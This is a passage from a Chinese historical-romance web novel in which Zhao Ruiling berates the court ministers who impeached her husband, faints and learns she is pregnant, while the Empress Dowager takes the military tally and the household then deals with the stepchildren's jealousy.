一时间朝堂上弹劾安国公和醇国公的奏疏越来越激烈,尤其是弹劾穆长舟干涉西南军权一事,消息甚至都穿过穆长舟设下的层层阻碍,传到了后宅。 这日秦进的妻子柳氏和常右监的夫人苗氏登门拜访赵瑞灵,就满脸担忧地提起此事。 柳氏问:“这几日羽林卫都已经拦住好几拨撞柱子的御史了,也不知道醇国公到底是个什么章程?” 如今都知道她夫君秦进是安国公的人,偏偏安国公在府里养病不出,府里也没有个女眷,实在是叫人无从下手。 这御史死谏也不能罚,否则这新君和太后可真要遗臭万年了,此事无论如何太后和新君都要给个交代。 苗氏也跟着点头,又道:“要我说,还不如叫醇国公早些回西北,也省得掺和进这些人的算计里去……宫中再如何,也不会叫狼覃军改姓。” 赵瑞灵这些日子也在私下里琢磨呢,她嫁人的时候姨母说的话她始终记得。 太后说要让她心狠一点,不要轻易相信任何人,包括穆长舟,当时姨母是不是就知道金玉符节在她手里了? 如今太后对朝中的弹劾看似是偏向她夫君,实则先前的封赏如同烈火烹油,只会让人对醇国公的敌意更深…… 她笑着对两人道:“此事我知道了,姨母知道夫君干涉西南军权的苦衷,定不会让功臣寒心,但此事也确实需要给群臣一个交代,明日我就进宫。” 具体进宫要做什么,她没跟两人说。 两人也是因为家中夫君催促醇国公府早有应对来的,看赵瑞灵这信心满满的模样,也没多问就告退了。 翌日一大早,晚上又被穆长舟缠着‘聊’了半宿的赵瑞灵,艰难被阿桥喊了起来。 时辰还很早,穆长舟还没去书房,见状格外纳罕。 “娘子怎起得这么早?” 赵瑞灵给他个白眼:“我本来就该起这么早,我起不来怪谁?” “怪我怪我。”穆长舟笑嘻嘻凑到正梳妆的娘子旁边偷了口香。 “怪我太听娘子的话,你不叫我停,我就……嘶!” 赵瑞灵一把拧在穆长舟的腰肉上,羞恼得两颊绯红,含娇带嗔瞪他。 “你少在这儿碍事,赶紧去书房办你的差事去,我还有要紧事要进宫呢。” 穆长舟挑眉:“你进宫作……你要去向太后替为夫求情?” “少自作多情了,我是替干耶求情去!”赵瑞灵一起身,腰就酸软得用不上力气,不想顺着穆长舟的话说。 “好好好,为了别的男人,为夫醋的办不下差,不如我们先好好聊聊!”穆长舟哈哈大笑,抱她起来,要将她塞回被褥里去。 赵瑞灵:“……你滚啊!” 现在她都腰酸腿软的,再聊她还能出得了房门嘛! 她手忙脚乱将穆长舟捶开,挣扎着站起身,真有点生气了。 “你都打岔了好些时日了,朝堂上哪些人不还是跟长舌妇一样恶心人?” “我赵瑞灵的夫君,由着他们如此欺负,我不要脸面吗?” “要是今儿个你不能拿大刀砍了他们,就给我闪开,我要亲自来!” 穆长舟被逗得差点笑出来,“娘子要去砍了他们??” “当然不是!”赵瑞灵迈着六亲不认的步伐霸气往外走。 “我要去一哭二闹三上吊!” 就他们会骂人啊?那是他们没见过什么叫泼妇! 不把这些人骂晕,她名字倒过来写! 穆长舟实在拦不住兴致勃勃的娘子,无奈只能让赵安素和陈尽然先护送她进宫。 他加快速度去了书房,还有些跟西戎人议和的细节要敲定,他得尽快让甄顺将消息传出去。 总之太后再多算计,也不可能让赵瑞灵吃太大的亏,他忙完再进宫接媳妇儿也来得及。 但赵瑞灵一丁点的亏都没打算吃。 到了太后的紫宸殿前,赵瑞灵也不理会迎出来的秦媪,提起一口气就扬声喊—— “臣妇要弹劾宗正寺宗正,尚书省左仆射,御史大夫还有六部尚书有通敌叛国的嫌疑,请太后明察!” 她一连喊了三遍,把嗓子都喊哑了,秦媪死活也没拦住,紫宸殿里里外外伺候的仆从们都听到,甚至都传到了宫外去。 这事儿怕是一会儿就能传开。 太后没出来,但向来爱八卦的新君殷琰实在等不及,蹬蹬蹬跑出来,冲着赵瑞灵竖大拇指。 “母后叫你进去呢!” 赵瑞灵冲殷琰眨眨眼,她还有更厉害的呢。 太后见到赵瑞灵没好气地笑骂:“你要么不出府,一出府就闹出这么大的动静!” “那就只能由着旁人欺负我和夫君,就不能反击的吗?”赵瑞灵理直气壮地捂着脸呜呜嗷嗷。 “先前姨母还说要把我和圣人都当自己的孩子看待,如今您半个女婿就叫人指着鼻子骂,您都不管,我还不能闹一闹了?” 太后斜睨了殷琰一眼,凉凉道:“要是圣人跟你一样莽撞,今儿个晚上他就只能趴着睡觉了。” 殷琰缩了缩脖子,赵瑞灵也…… 她轻咳了几声,努力挺起身板来,严肃了表情。 “我知道姨母您有苦衷,我也不为难您,但我夫君和干耶被弹劾的事儿,早晚要给群臣一个交代,我今儿个就是送交代来了。” 太后并不算太意外,先叫人给赵瑞灵倒了杯茶水润嗓子,接着才开口问。 “你打算怎么交代?” 赵瑞灵不肯说,她只转了转眼珠子。 “那我要弹劾那些王公大臣们和御史,您总得先把人请过来吧?” 她不见外地凑到太后身边,抱住太后胳膊摇晃,软声撒娇。 “也省得到了朝堂上没有我的立足之地,只能听他们的一面之词,这也太叫人憋屈了呀~~” 太后只有新君一个孩子,英国公府的女娘跟她也不亲近,先圣的那些妃嫔她懒得搭理,还真没有人敢在她面前撒娇,实在有些顶不住。 她哭笑不得点点赵瑞灵脑门儿。 “行,等人来了,你要是说不出个所以然,你今儿个也别想躺下睡觉了!” 那就趴着呗……赵瑞灵突然想起先前在幔帐内趴在枕头上咦咦呜呜的画面,脸颊莫名红了红。 她赶紧抬起四根手指:“您放心,我保证能说出个所以然来!” 太后不置可否,让柳福去请人。 她本来也没有要处置穆长舟和虞栋的意思,只是他们手握两军,甚至关系因为赵瑞灵又近了不少,对宫中不利。 她便趁着朝臣们试探她们母子的机会,希望两人能将金玉符节交出来,敲打敲打两人,再往两军安插些自己人进去遏制他们勾连的可能。 这事儿穆长舟和虞栋应该懂,所以两人都闭门不出,虞栋还借口伤势太重,上奏要推辞骠骑大将军之职。 也是时候让那些各有心思的大臣们消停些了。 第59章 第59章在说什么虎狼之词!…… 宗正寺宗正,尚书省左仆射,御史大夫还有六部尚书等人被请到紫宸殿的时候,赵瑞灵已经吃了好几块点心,喝了一肚子茶水。 这些勋贵和大臣在来的路上,就知道赵瑞灵状告他们通敌叛国了。 即便他们不屑于这只是妇人之言,罪名却不小,他们不愿意白担这个名声。 一进门,这群素日里位高权重的勋贵大臣,就对着太后和新圣跪下了。 宗正先开口喊冤:“老臣冤枉!老臣乃是殷氏之后,怎么可能会通敌叛国……” 赵瑞灵将茶盏‘嘭’的一声放下,凉凉打断他的话。 “庶人殷炀也姓殷,谁知道怎么就吃饱了撑的非要造反呢。” 尚书省左仆射立刻反驳:“醇国公夫人此言差矣,庶人殷炀乃是因自身贪欲才会令祖宗蒙羞!” “可夫人您流落乡间多年,不知道殷氏底蕴,又怎可随意污蔑宗亲?” 赵瑞灵点了点头,老打断人说话也挺没规矩的。 所以她听左仆射把话说 完了,才站起身,叉了腰,冷笑着开始骂。 “你也知道宗亲不能随意污蔑?我还当你们一个个的都脑子落在家里,在朝堂上嘴一张就满嘴喷米共!” 左仆射被噎得满脸通红:“你……夫人怎可如此不雅?” “我这还算好听的!”赵瑞灵俏脸一板。 “当时殷炀造反,殷氏宗亲倒是叫他抓了个干净,只留下先圣和张皇后还有太后和新圣在宫里。” “怎么着,安国公和我夫君不该保护先圣和张皇后,还有太后和圣人,就该由着他将宫里的主子们都杀个干净?” 众人赶忙道不敢,御史大夫程邈立刻想说话,赵瑞灵没给他机会。 “那你们倒是上啊!你们人在哪儿呢?缩在自己府里做乌龟呢?” “照你们的说法,安国公就不该在宫里护驾,他就该留在西南站干岸是吧?” “哦,还有我夫君,你们来替他出个主意,他怎么在不调动大军的前提下,对战近十万飞龙军呢?” 程邈艰难反驳:“可醇国公不该调动虎头军!这是军中大忌!” “冲都之战的时候,你们怎么没人敢对太祖说这句话呢?”赵瑞灵冷笑连连。 “当时太祖可是先后给老醇国公还有老英国公调动三军的权柄!” “事急从权的道理你们要是不懂,我就只问你们一个问题!”赵瑞灵上前一步,大声质问—— “你们对太后和新圣到底有没有忠心?还是暗中支持殷炀造反,现在在朝堂上做搅屎棍呢?” 众人:“……”你这么问,我们能有其他答案吗? 工部尚书心下有些不妙的预感。 先前他的下峰范柏就被醇国公夫妇和袁修永那老匹夫骂上门过,骂得范柏是丝毫招架能力都没有。 这醇国公夫人就是袁修永教出来的,他们此行怕是只能吃哑巴亏。 大伙儿都捏着鼻子俯首,声音比赵瑞灵还大地表达了对太后和新圣的忠心。 赵瑞灵等的就是他们这句话。 “好,你们忠心,那你们当时为什么不来救驾?” 众人被问得哑口无言。 赵瑞灵替他们找好了借口:“我就当你们手里没人,连个护卫和家丁都没有,那你们既然是忠于太后和新圣的,殷炀入城后会放过你们吗?” “还是你们打算谁赢了听谁的,那我只能说墙头草都没你们能摇摆!” 众人:“……”这特娘也是个送命题啊! 他们不得不再次信誓旦旦,表达愿为太后和新圣抛头颅洒热血的忠诚,听得殷琰好悬憋不住笑,差点又冲表姐竖起大拇指。 赵瑞灵继续骂:“所以你们本来也是必死无疑,是我冒着九死一生的危险出城,将我阿娘的金玉符节送出去给了我夫君,狼心狗肺说得就是你们!” “此事我已禀报过太后了,你们如此在朝堂上逼迫,是要逼着太后听你们的?” “我夫君等于刚救了你们所有人,就是市井的地痞流氓都知道不能放下碗骂娘的道理,你们不知道??” 她越说越生气,真有些动了火气。 “这金玉符节我本来就要进献给太后和新圣,只是事急从权,哦,道理你们懂,就是两眼一闭装死在朝堂上诈尸是吧?我呸!” “你们非要太后和新圣给个交代,是觉得新圣不该保护先圣和张皇后,还是觉得太后没有资格调动三军?他们也是殷氏吧?” “你们如此污蔑太后和新圣,这不是叛国是什么!” 兵部尚书性子急,抹着头上的汗大声反驳:“醇国公夫人这分明是胡搅蛮缠!” “醇国公调动两军不说,还在西南杀害虎头军将领,证据确凿,事急从权也不该排除异己!” 赵瑞灵气笑了,胡搅蛮缠的到底是谁? 这些人不知道被杀掉的是殷炀的人手吗? 他们要是连这个脑子都没有,就不会觍着脸在这儿大放厥词。 行,他们既然说她胡搅蛮缠,她也不能白担这名声。 她又上前一步,提起一口气就要骂,结果一口气提起来,眼前蓦地一黑,人突然就软了下去。 赵安素今日跟在她身边伺候,被唬得后脖颈儿立刻就见了汗。 她顾不得尊卑了,一脚踹开赵瑞灵正前方的兵部尚书,惊险地垫在赵瑞灵身下,把人接住。 太后也被惊得站起身:“这是怎么了?快,快叫太医!” 殷琰凉凉道:“还能怎么着,被这些人气晕了呗!” 他话音一落,就听外头传来柳福莫名有些哆嗦的传话声—— “醇,醇国公求见!” 原本御史大夫程邈和宗正还算稳得住,听见外头来人是谁,都不由得跟着心底发凉。 这怎么还屋漏碰上连夜雨了呢? 太后怕穆长舟着急,叫了声宣,人先跟着被抱进寝殿的赵瑞灵进去了,只留下殷琰等着。 穆长舟在殿外已经听见殷琰的话了,黑着脸进来门,冷冷在现场扫了一圈,也没管前丈人尴尬又想解释的表情,先跪地给殷琰行了礼。 “敢问圣人,我妻灵娘进宫向太后和圣人进献金玉符节,被这群不要脸的给气晕了?” 殷琰:“……是,是吧?”他有些不确定,表姐是真晕还是假晕。 但穆长舟也不需要确认,他只知道这群人不但恶心他,现如今竟还欺负到女子头上去了。 他规规矩矩冲殷琰行叉礼:“烦请圣人先进殿看看我娘子,臣有些话想跟几位大人们说一说。” 说完,他也不等殷琰反应,转身就往殿外去,只听‘锵’的一声,殿外护卫的刀好像被抽出来了。 不是好像,确实抽出来了。 穆长舟冷着张阎王脸,满脸煞气进来门,一脚踹开了要拦人的柳福,朝着这些人均半百的糟老头子们就要劈过去。 宗正和工部尚书等人被吓得睚眦欲裂,他们只记得这阵子醇国公低调了,忘了先前这位能把生母送进家庙,当着先圣的面儿在宫宴上就敢砍人啊! 这会儿被穆长舟越来越重的煞气惊到,一个个的全记起来了,却都两股战战移不动脚。 当然,他们知道穆长舟不敢在紫宸殿杀人,可……就是被揍得鼻青脸肿也没法儿见人啊,谁还不要个脸呢! 所以工部尚书第一个蹲地将脑袋扎了下去。 程邈努力站直了斥责穆长舟。 宗正和几个尚书都哆嗦着后退,不停地劝:“醇国公你,你冷静,不是你看到的那样,我,我们可以解释……” 穆长舟充耳不闻,他想揍这些老不死的很久了。 不过他到底也没能动手,殿内很快就传来了太后惊喜的声音。 “是有喜了?!” 穆长舟脚步一顿,没心思跟这些人计较,转身疾步往殿内去。 众人刚松口气,就见穆长舟头都不回地将长刀反手掷出,‘铿’的一声扎进了殿内的盘龙柱上。 那柱子就在宗正和程邈旁边。 等穆长舟进了寝殿后,两人回头看了眼入木三分的刀,腿都一软,撑不住地跌在了地上。 赵瑞灵没晕多久,太医说话的时候她就醒了。 得知自己有孕,她挺高兴的,但更多却是气不打一处来。 她都还没骂够那些不要脸的呢,就突然晕了,还晕在了人家说完她之后,也太丢脸了。 穆长舟进来,就见自家娘子鼓着小脸儿,捂着肚子一脸不开心。 他福至心灵,上前笑着安抚,“娘子放心,往后这群人再也不敢在娘子面前耍嘴皮子了。” 要是他们再敢,下次他刀就往这群人脖子旁边插! 太后听得哭笑不得,论起耍嘴皮子来,分明是那些勋贵大臣被骂得比较惨,灵娘可没吃亏。 不过她也不心疼这群没事儿干的,他们可不就是想趁机拿捏她们母子嘛,被穆长舟吓一吓也活该。 她含笑道:“好了,此事哀家该说的也都说了,他们总拿太祖和先圣来说话。” “哀家一直不好多说,本事打算大事化小小事化了,如今你们闹他们个没脸,也算是圆满了。” 她点点赵瑞灵的脑袋:“自个儿有了身子都不知道,还敢如此操劳奔波,要是再不老实,回头哀家就给你派几个保母天天守着你。” 赵瑞灵摸了摸鼻子,“那我上个月还换洗了嘛,我要是知道肯定老老实实的,不信您问我夫君。” 穆长舟确实担忧这个,看向太医令:“上个月灵娘确实换洗过三天,府医请平安脉,也没诊断出有喜,这是怎么回事?” 太后听得更哭笑不得了 ,连灵娘的换洗日子都记得清清楚楚,这小两口平日里可够黏糊的。 太医令一直想说话,一直插不上嘴,这会儿可算是能把话说出来了。 “这刚有孕的妇人换洗也是正常的,夫人才有孕一个月左右,先前诊断不出来也正常。”不等穆长舟松口气,他冲穆长舟严肃了神色。 “可醇国公夫人突然晕倒却非常事,实属是太过劳累……既已有孕,这房事还是该节制一些。” 赵瑞灵:“……”老天爷,这白胡子小老儿在说什么虎狼之词! 见她涨红了脸,穆长舟却面不改色,只耳根子微微发烫,人很淡定地点点头。 “我知道了,往后我会节制。” 太医令:“……头三个月和后三个月禁房事,中间……醇国公掂量着些吧。” 太后也听得微微皱眉,看了眼赵瑞灵,试探着问:“要不,提你们府里几个丫头做侍妾?有了身子还是多注意……” “不必!”不等赵瑞灵从怔忪中反应过来,穆长舟立马拒绝。 “穆氏家训,有子不纳妾,敢纳妾,腿打折!” 太后被噎得翻了个白眼:“若是我没记错,你阿耶可是也有侍妾的。” 毕竟顾二娘的心思全都在她表哥身上,此次圣都的危机跟顾二娘也有关系,如今已经被关到了家庙里再也不许她出来。 所以当年醇国公虽然喜欢顾二娘,可身边也是有侍妾伺候的。 赵瑞灵也挑眉看向穆长舟。 但穆长舟并不慌张,他淡定道:“我刚定下的,女人多了麻烦,穆氏子其他的精力都该留给太后和圣人尽忠!” 太后和殷琰:“……”这话说的,他们不觉得安慰,只觉得穆嘉誉有点可怜是怎么回事? 赵瑞灵总算是被逗笑了。 甭管她夫君平日里多糙,起码在过日子这一点上,还是有可取之处的。 太后见她笑得甜蜜,也不非要做那恶人,笑着摇了摇头。 “行,哀家就不管你们两个了,回头我送个懂得照顾孕妇的老媪到你府上。” “金玉符节你既然呈送上来,哀家也就代琰儿收了,回头此事哀家在朝堂上也能有个交代,狼覃军那边长舟就先不必操心,等灵娘胎象稳了你再回西北也不迟。” 穆长舟和赵瑞灵对视一眼,都压下了心底的微妙,什么话都没说。 太医令说赵瑞灵没问题,穆长舟才带着坐步辇的娘子离开了皇城。 太后出来,就见柳福带着护卫们在用力拔刀。 那刀柄正好扎在盘龙柱的七寸上,太后微微眯了眯眼,看样子穆家这小子想警告的也不只是那些大臣啊…… 另外一头,等到回府,赵瑞灵才有些恍然地望向穆长舟。 “你说……姨母纵容那些大臣们弹劾你和干耶,是不是想让我们主动进献金玉符节?” 说得更明白一些,太后想要的就是军权。 先圣只将飞龙军和虎头军的一半掌控在了手里,可太后的野心更大,她想要掌控三军。 穆长舟早就知道太后野心不小,他揽着赵瑞灵坐在餐桌前,轻描淡写地点头。 “她想临朝称制,甚至替谢氏筹谋,大概不止一天两天了,圣人毕竟姓殷,谁也不知道圣人长大后会不会秉承殷氏先祖遗志。” 将来她们母子之间还有的争夺,太后如今想插手军中,就是为了提前布局。 他轻轻抚着赵瑞灵的腹部,得知娘子有孕的欢喜才刚刚开始发酵。 “不过怎么也得等咱们的孩儿长大,到时候让大郎和二郎护着妹妹和侄女,保管不用娘子你操心!” 赵瑞灵轻嗔:“你怎么就知道是女儿了?” 穆长舟笑着替她舀了一碗甜汤,“若是儿子那就无所谓了,扔出去让他们自己打拼就是了。” 赵瑞灵咽下一口红虬脯,沉默了。 那还是生个小女娘更好一些,不然她的孩子也忒惨了些。 当着宗正和御史大夫的面,太后得了金玉符节的进献,名正言顺掌控了三军当中曾经归属于谢氏的部曲。 她在朝堂上将所有弹劾安国公和醇国公的奏疏都打了回去。 “此事乃是哀家授意,意为保我殷氏传承,军权也已经回到了我儿手中,安国公和醇国公仍将守卫我大昭边境,此事不得再提!” 话是这么说,但虎头军和狼覃军中归属于谢氏的部曲,却要以太后的命令为先。 圣都下雪最大的时候,太后的懿旨就发往了西南和西北军中,虽未动武将职位,却变更了好些文官,两军监军也都换了人。 安国公始终在府中养伤,丝毫没对此做出任何反应。 穆长舟就更不用提。 如果狼覃军因为几个占据了要职的部曲就能被太后彻底掌控,那他也不用做狼覃军大将军了,直接在府里养娃儿比较合适。 一直到过完了年,出了正月十五,赵瑞灵的胎坐稳了四个月,安国公才第一次离开了自己的府邸。 他带着已经被封为安国公世子的嗣子虞凌登门,把虞凌直接扔给了穆长舟。 “他就跟着你操练,我要立刻回西南,在小鱼生产之前我会回来。” 赵瑞灵扶着还不明显的肚子跟着出来,闻言愣了下。 “这还天寒地冻的,您伤还没养好呢,怎么现在就回去?” 西南已经被虞栋给打怕了,就算是有动作,怎么也得等到秋里才敢动手。 虞栋对穆长舟没什么耐心,对赵瑞灵还是愿意解释的。 他言简意赅:“我替太后将人带出来,掌管虎头军,她答应我,将你阿娘的坟茔迁回你阿耶身边,等你生了孩子,我带苑娘回湖州府,余生我在那里陪她。” 赵瑞灵怀孕后就有些多愁善感,听得鼻尖有些微微发酸。 “干耶这是何必呢……你守在那里,天天对着我阿娘和阿耶,心里会难受吧?” 虞栋有些莫名:“我怎么会难受?我都等这一天好久了!” “我打算多跟你阿耶熟悉熟悉,等我到了地底下,也好跟他商量商量,下辈子让我也跟在他们身边,不然换我做他们的孩子也行!” 赵瑞灵:“……” 说完他也不再耽搁,只将沉默寡言的虞凌一推,人就带着些迫不及待的高兴离开了。 赵瑞灵怔怔看着安国公昂扬的背影,明明该被逗笑的,她却更想哭了。 她不明白,干耶和阿娘之间到底是一种什么样的情感,能让他如此不计名分的相随,哪怕只是远远看着,阴阳两隔,他都能这么开心。 还有…… “我才是阿娘和阿耶的孩子!他别想抢!”赵瑞灵一脸不可置信地冲着穆长舟嚷嚷。 穆长舟看着虞凌唇角抽了抽,憋着笑先叫人将十二岁的虞凌送去跟穆大郎做伴,才顾得上安抚自家娘子。 “其实早些年在你阿娘身边他就是这样,当年若是没有岳母,他可能一辈子都会与狼为伍。” “是你阿娘带他进入了这个世道,待在你阿娘身边,就是他的全世界。” 赵瑞灵:“……那要不将来我和干耶做兄妹也行,不然干耶也太可怜了。” 刚想说他们下辈子也继续做夫妻的穆长舟,唇角也想抽抽。 娘子光觉得安国公可怜吗?? 第60章 正文完结 第60章 第60章正文完结 虞凌被送到演武场的时候,穆嘉誉和于旻正在跟着武师傅学枪法。 自打先前穆长舟凭借一杆长枪阵前杀掉淳阳王,一 枪定乾坤后,圣都好些人家的小郎君们都开始偷偷练长枪了。 在于旻心中,没有人比他阿嫂更重要了,那救了阿嫂的枪法,他自然也少不了心动。 穆嘉誉更不必说,虽然他几乎没怎么跟阿耶相处过,却从小就听着阿耶杀敌的故事长大,即便在穆长舟面前没怎么表现出来,内心对阿耶的崇拜也一分不曾少。 他也想成为跟阿耶一样的武将,将来接管狼覃军,习枪法比于旻还要卖力。 于旻以来就见两个比他小几岁的孩子拿着木枪耍得还算有架势,不由得也想起穆长舟的故事来,跟着起了兴致。 孩子们的友情不需要多说什么,只要崇拜的是同一个人,那我们就是朋友。 在虞凌心里自然是他如今的阿耶最厉害,但也不妨碍他崇拜穆长舟的功夫,只消甄顺说是穆长舟送过来的,虞凌再对长枪表现出那么点儿渴望,妥了。 都不用甄顺念叨,也不必武师傅多说,三个孩子就都提上枪,在演武场里呼呼喝喝地过起招来。 甄顺一看,得,虽然架势看起来都不怎么成样子,显然虞凌以前也没被人教过多少,但好在剩下两个也是菜鸡,气氛到位,用不上他哄孩子。 他只跟武师傅叮嘱几句让把几个孩子盯紧了,别叫受了伤,就自顾自去忙自己的差事去了。 殊不知,他一走没了影儿,原本还打得格外起劲的穆嘉誉,瞬间就跟被抽掉了骨头一样,臊眉耷眼地扔了长枪,坐在了演武场的阴凉里。 于旻也一样,往穆嘉誉身边一蹲,就跟个蘑菇一样,浑身散发着蓝瘦香菇的气息。 虞凌愣了下,他自小就是孤儿,吃虞氏一族的百家饭长大的,虞氏也不是什么大家族,善心有,也不算多,他保持在一个饿不死却也不怎么懂人情世故的状态。 这会儿见到两人前后不一的表现,看得一愣一愣的,不由得看向武师傅。 “他们怎么了?吃错药了?” 武师傅唇角抽了抽,他也是穆氏护卫里的老人了,对安国公有所了解,这位安国公世子……还挺像安国公亲生的。 不过两位小主子如今的情形,涉及府里的主子,他实在不好多说。 他只能委婉道:“虞世子若是想知道,不如去问两位小郎。” 说罢,他就跟什么都没看到一样,揣着自己的茶壶往一边儿去待着……顺便帮两个小主子放哨去了。 他也不想的,只是两位小主子给得太多了,而且又情有可原,他又不好因为这种事儿跟郎君汇报。 郎君现在基本上时刻都戳在主母跟前,真要说了,倒像是传小话似的,也只能当什么都不知道的。 虞凌没听出武师傅话里有话,到底是在旁人家,他决定听师傅的,直接走到穆嘉誉和于旻面前问—— “你们不喜欢我?” 穆嘉誉翻了个白眼,没说话。 于旻迷茫地抬起头:“啊?没有啊……你是我阿嫂干耶的儿子,就是我兄长,我怎么会不喜欢你?” 虞凌沉默片刻,算了下关系……没算清楚,遂抛在脑后,这不重要。 他又问:“那你们作甚一副吃错药的模样?” 穆嘉誉下巴抬起来了:“你是不是想打架?” 虞凌上下打量他一番,摇头:“不打,你打不过我,看着哭起来也挺烦人的,我阿耶叫我别惹灵娘阿姐烦心。” 穆嘉誉本来还只是有气无力的,可叫虞凌这几句话一说,瞬间就跟打了鸡血一样,涨红着脸来劲儿了。 “我叫你小瞧人!看招!”他气冲冲朝着虞凌冲过去…… 然后叫虞凌一脚就下意识踹了出去,后脑勺一下子撞在了于旻脑门儿上。 武师傅原本还慢悠悠喝着茶呢,只听自家小主子喊了一声,接着就听‘哎哟’一声,一扭头,好家伙,主母小叔子捂着脑袋哭出来了。 虞凌挓挲着胳膊在一侧,略有些局促,面色却格外紧张僵硬,他知道自己能认下阿耶不容易,听族人叮嘱过很多次不许惹事儿,他真的努力了…… 可他过去被人欺负的时候,反击惯了,正经比武他可能打不过,可打架他就没输过,全是下意识的损招,哪儿能先把人撂倒他打哪里。 果不其然,把小孩子给弄哭了……阿耶会不会不认他了? 虽然已经十二岁了,可到底还是个孩子,他努力憋着不愿意哭,眼眶通红。 穆嘉誉刚才被虞凌的话刺激,再想起这阵子府里那些仆从们的讨论,说什么主母有了子嗣,阿耶就再也不喜欢他了,连他身边的保母都暗暗叮嘱他要学会讨好赵瑞灵。 连个外人都知道他不能惹继母心烦,就算他成了醇国公世子也跟没了耶娘的孤儿一样。 现在打架也打不过别人……他是个没人要的废物了,这个认知让穆嘉誉也死死咬住了腮帮子,眼眶红得比虞凌还厉害。 武师傅走过来的功夫,定睛一瞧,头皮瞬间就麻了,不是,刚才不是还好好的,怎么一会儿没盯住的功夫,仨都要水漫金山了呢? 他不过来还好说,他一过来,三人突然就跟打开了什么开关一样,比着开始掉眼泪,还都紧咬着牙,怎么问都不吭声。 这武师傅也不敢再瞒着了,叫人看见他这差事也得丢,赶忙叫人伺候着三个尊贵的小郎去洗漱,自个儿去正院把事儿禀报了。 穆长舟正在给赵瑞灵敲核桃,闻言有些诧异:“你说从年前就开始不对劲了?那怎么不来禀报?” 武师傅有些尴尬,跪地回话:“回郎君,大郎和二郎都不许说,他们只是偶尔如此,习武都还很用功,那阵子主母吐得也厉害,属下不敢拿小事来打扰主母和郎君。” 穆长舟也不觉得这是什么大事,小郎君们打打闹闹很正常,他这么大的时候,让梁太尉打哭了不知道多少回。 他挥挥手:“行了,我知道了,让府医过去瞧瞧,没事儿的话我晚些时候过去看看他们。” 赵瑞灵和阿桥原本是当热闹在听,可越听越不对劲儿,而且听起来还有些熟悉。 两人对视一眼,曾经在湖州府,于泓还活着的时候,有一回赵瑞灵肠胃不舒服,吃了东西上吐下泻,阿桥猜测赵瑞灵有了的时候,于旻也有过差不多的时候。 赵瑞灵赶紧拦住武师傅:“等等,先别叫府医过去!” 她看向穆长舟:“不是没打起来?要是咱们将打闹当成正经事处理,伤了孩子们的面子就不好了。” 穆长舟不置可否,左右在他眼里,儿郎嘛就该活得糙一些,他小时候也是这么过来的,只要没要命,那就是小事。 他吩咐武师傅:“行了,那就让他们自己回去闭门思过,先不用理——” “先让他们自己想做什么就做什么,这几日就先不必习武了!”赵瑞灵翻了个白眼,干脆直接打断穆长舟的话。 等武师傅出去后,她才对穆长舟解释,“大郎和二郎分明就是吃味了,哄一哄也就是了,你非要罚他们,岂不是更伤他们的心?” 穆长舟挑眉:“吃味什么?因为你有了身孕他们吃味?那就更该罚了。” 甭管娘子肚儿里这是个小郎和还是个小女娘,他都还指着做兄长和做叔叔的带着呢,孩子都还没生出来,先嫉恨上了,就仨字——欠收拾。 赵瑞灵又气又想笑,捶他一下,“你够了,那要不我也问问你,到底是我的孩子重要,还是我重要?” “自打我有了身子,你是这也不许我做,那也不许我做,现在连我的话都不听了,你想干嘛?” 穆长舟:“……我这不是心疼娘子?” “你这分明就是心疼我肚儿里的崽,先前你对我可不这样!”赵瑞灵叉着腰指指点点。 “要我帮你回忆一下你以前是怎么对我的吗?是从牢里开始说,还是从北归的船上……唔!” 穆长舟没给娘子说完的机会,小心翼翼将人揽进怀里,直接用核桃仁堵住了娘子的嘴。 手搭在她微微凸起的肚子上,他心里多少想怼人的话都化作绕指柔,也只能柔和了表情服软。 “是为夫的错,为夫不该质疑娘子的话,往后都听娘子的,这三个孩子就交给你了,为夫保管不插手!” 像是怕赵瑞灵不信一样,他还迅速抬起手来发誓。 “我要是插手,往后我就都睡书房,为了表达为夫的决心,这几日我明日就出京办差,等娘子发完了威我再回来!” 等穆长舟温柔 伺候着她吃完了核桃,又陪她用完了晚膳,得意了半晚上的赵瑞灵这才反应过来。 她拽住穆长舟的耳朵:“你是不是又把我往坑里哄呢?” 他不知道该怎么哄三个孩子,就扔给她,但又知道她的性子,反其道而行之。 阿桥和乔媪在一旁憋笑,娘子才反应过来啊? “娘子这是说哪儿的话,咱们一起躺,一起躺坑里……咳咳,被窝里。”穆长舟也咧着嘴将她轻柔地打横抱起,笑着搂她躺下。 赵瑞灵:“……”她早晚要掐死孩儿他阿耶! 虽然被穆长舟哄了一道,但赵瑞灵也不想叫穆嘉誉和于旻因为她有身孕而产生落差,更不想让虞凌夹在中间为难。 阿桥摩拳擦掌:“娘子打算怎么哄?您只管说,不管是吃的喝的还是玩儿的,我保管都给您买回来!” 自打进了醇国公府她也有许久没有去逛过街市了,现在好不容易圣都安定下来,她也有些想念跟脚商讲价的日子了。 赵瑞灵用完了早膳,撇撇嘴往软榻上一躺,“谁说我要哄他们了?” 阿桥愣了下,“可娘子不是说……” “我是说不想让他们有落差啊!”赵瑞灵理直气壮道,“那自然是以前怎么对他们,以后还怎么对他们,让他们充分认识到有没有我肚儿里的崽都一样。” 不过她确实需要阿桥出去一趟:“正好,你去一趟西市,我听乔媪说买牲畜的都在那边,你买些鸡和鹅回来……” 她搀走地鸡和穆长舟说的那种铁釜炖鹅了。 顿了下,她又道:“对了,再买两头猪,还有扫帚簸箕的,都挑着孩子能用的,多买些回来,再挑几身方便干活儿的粗布衣裳。” 阿桥:“……”娘子这是打算做回老本行啊! 于是乎,心里正难过的穆嘉誉,很快就迎来了继母热情似火的招待——走地鸡十只,大鹅十只,还有猪两头,扫帚簸箕若干,粗布外衫一套。 于旻看着这些熟悉的东西,尤其是大鹅,在湖州府被这些牲畜支配的记忆又开始鲜明起来。 他瞬间打了个激灵,一点也顾不上难过了。 赵瑞灵笑道:“听说我怀了身孕,你们心情很失落啊!” 虞凌:“我……” “其实也用不上失落,反正我也从来没打算做个好阿娘和好阿嫂嘛,以前是,以后还是,有没有崽儿都一样。” 虞凌继续:“我没……” “既然你们都没心思习武,先前我还担心你们忙着不好意思支使你们呢,正好,这些家畜就先交给你们来管着,等什么时候我想吃了再去找你们要。” 虞凌直勾勾看了眼那两头肥墩墩的猪,艰难继续解释—— “我真没失……” “要是养好了,回头崽儿我就交给你们来带,要是养不好……”赵瑞灵冲他们三个轻轻一笑,“那回头我就送你们去庄子上好好学,直到学会了怎么伺候它们为止!” “以后我肚儿里这个想吃什么,就全靠你们了!” 说完,她就叫陈尽然将三小只提了出去,并且由陈尽然负责监督他们,至于虞凌,她也怕他因为虞栋离开胡思乱想,干脆就一起了。 陈尽然想了想,将小儿子陈小六也拎上一起,四个小郎都被扔进了家畜圈里。 